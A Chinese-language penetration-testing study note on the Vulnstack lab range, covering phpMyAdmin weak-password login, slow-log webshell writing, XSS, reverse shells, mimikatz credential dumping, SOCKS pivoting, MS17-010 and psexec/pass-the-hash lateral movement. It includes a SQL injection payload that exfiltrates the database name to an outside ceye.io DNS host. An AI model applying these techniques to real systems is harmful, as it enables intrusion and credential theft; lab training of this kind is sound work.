红日靶场(vulnstack)一 超全面详细的渗透测试学习笔记

实验环境拓扑如下： 红日靶场地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

这里搭一个最简单的域环境，域控+dmz服务器（去掉域成员）

拿到站点后,我们先找其ip地址（这里直接有了），用nmap扫描一波， 得到了一些信息： （中间换了个环境ip发生了变化不过问题不大～） 然后访问其80端口，是一个phpinfo()页面: 以其为根目录，再扫描其他路径。 扫描工具很多，能不能扫出有用信息还是看字典是否强大。 这里是扫出来phpmyadmin和beifen.rar路径。

数据库管理后台，如果能让猜解出账号密码，可尝试使用file_into或日志写入webshell。 这里是直接 root/root 弱口令可以登录：

这里secure_file_priv值为空，就行不通了。 ps：如果想通过into写入文件：

主要使用慢日志getshell

慢日志：

一般都是通过long_query_time选项来设置这个时间值，时间以秒为单位，可以精确到微秒。如果查询时间超过了这个时间值（默认为10秒），这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下：

因为是用的慢查询日志，所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。

查看：

2.伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名

3.向日志中写入内容 实战如下：

直接给出了后台登录方式：

因为是靶场，直接上一句话即可： 文件已上传，可通过前面下载的beifen.rar文件来查找acomment.php文件来确定文件上传的路径： 蚁剑成功连接：

留言板处存在xss漏洞： 后台审核时触发：

注入点：http://xxx/index.php?r=admin/fragment/index

payload:1 and if((select load_file(concat(’\\’,(select database()),’.xxxx.ceye.io\abc’))),1,1))– 个人感觉用处不大没有复现，有兴趣的师傅可以研究一下。

后渗透阶段，当我们已经将小马上传到web服务器上时，可以用webshell管理工具进行下一步渗透了。

这里的思路是将shell派送给CS或者msf进行下一步渗透。 使用msf生成exe并开启监听(也可以用cs生产exe)：

用蚁剑将exe上传并执行： 得到反弹回来的shell

获取system权限 进来后第一步肯定是提权到system： 这里直接是administrator，所有可以直接提到system，实战中还需要其他手段提权。 第二步是获取账号密码： 1.导入账号，密码hash值：

2.mimikatz 加载 mimikatz 模块，加载模块前需要先将meterpreter迁移到64位的进程，该进程也需要是system权限：

3.kiwi

开启3389:

测试：

msf获取到shell后，可以派发给cobaltstrike： 首先cobaltstrike创建监听器： 在msf控制台执行如下操作：

得到shell：

横向渗透前，先将该web服务器配置为代理服务器当作跳板机。

可用msf直接搭建sock隧道： 进入session，自动创建路由：

查看路由： run autoroute -p 退到上层，使用socks4a进行代理，端口与proxychains里设置一致即可：

run后 可用jobs查看任务是否执行：

配置proxychains：

全局代理测试： 浏览器代理测试：

cs开启socks代理： 自定义端口：

proxifer设置： 测试：

使用msf内置模块进行存活主机探测

内网主机端口扫描

内网主机服务探测

可尝试MS17-010(445）和 MS19-0708(3389)，直接search找exp eg： 打之前先探测一波：

调用exp打一下，不保证100%能能打成功，会有很多因素失败，可以尝试一下。

内网中，最总要的还是域管理员账号，有了域管理员账号后，可以使用该域管理员账号密码利用 psexec 登录域内任何一台开启了admin$共享(该共享默认开启) 的主机。 下载地址： pstools:https://download.sysinternals.com/files/PSTools.zip

这里其实已经登录成功，因为账号安全周期原因密码过期了 更改密码后再次登录：

与psexec类似，当我获取获取到域管理员密码NTLM hash值时，可借助mimikatz进行进行登录域内其他电脑：